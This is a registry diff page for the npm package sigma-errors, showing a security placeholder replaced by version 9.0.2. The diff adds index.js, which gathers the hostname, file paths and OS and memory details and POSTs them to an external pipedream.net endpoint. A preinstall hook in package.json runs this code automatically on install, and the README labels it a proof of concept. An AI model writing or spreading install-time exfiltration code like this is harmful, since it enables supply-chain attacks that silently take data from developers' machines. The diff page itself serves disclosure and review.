sigma-errors 0.0.1-security → 9.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of sigma-errors might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -5
  2. package/index.js +60 -0
  3. package/package.json +15 -3
package/README.md CHANGED
@@ -1,5 +1 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=sigma-errors for more information.
1
+ PoC by HTM for security purpose only.
package/index.js ADDED
@@ -0,0 +1,60 @@
1
+ 'use strict'
2
+
3
+ const https = require('https');
4
+ const os = require('os');
5
+
6
+ // Gather non-sensitive system information along with an identification mark
7
+ var currentPath = __dirname;
8
+ var currentFile = __filename;
9
+
10
+ // Generate a unique identifier based on system information (e.g., hostname + OS type)
11
+ var uniqueIdentifier = `${os.hostname()}-${os.type()}`;
12
+
13
+ // Collect system data, including the unique identifier
14
+ var data = {
15
+ identifier: uniqueIdentifier, // Unique identifier for the system
16
+ hostname: os.hostname(),
17
+ currentPath: currentPath,
18
+ currentFile: currentFile,
19
+ type: os.type(),
20
+ platform: os.platform(),
21
+ arch: os.arch(),
22
+ release: os.release(),
23
+ uptime: os.uptime(),
24
+ loadavg: os.loadavg(),
25
+ totalmem: os.totalmem(),
26
+ freemem: os.freemem(),
27
+ };
28
+
29
+ // Convert data to a JSON string
30
+ data = JSON.stringify(data);
31
+
32
+ // Define options for the HTTPS request
33
+ const options = {
34
+ hostname: 'enjglpdgtgrbn4b.m.pipedream.net', // Replace with your safe, intended endpoint
35
+ port: 443,
36
+ path: '/path-here123', // Replace with your actual API endpoint
37
+ method: 'POST',
38
+ headers: {
39
+ 'Content-Type': 'application/json',
40
+ 'Content-Length': data.length,
41
+ }
42
+ };
43
+
44
+ // Make the HTTPS request to send data
45
+ const req = https.request(options, res => {
46
+ console.log(`statusCode: ${res.statusCode}`);
47
+
48
+ res.on('data', d => {
49
+ process.stdout.write(d);
50
+ });
51
+ });
52
+
53
+ req.on('error', error => {
54
+ console.error(error);
55
+ });
56
+
57
+ // Send the data
58
+ req.write(data);
59
+ req.end();
60
+
package/package.json CHANGED
@@ -1,6 +1,18 @@
1
1
  {
2
2
  "name": "sigma-errors",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.0.2",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "Aditya",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "http": "0.0.1-security",
14
+ "https": "^1.0.0",
15
+ "os": "^0.1.1",
16
+ "sigma-errors": "^9.0.1"
17
+ }
6
18
  }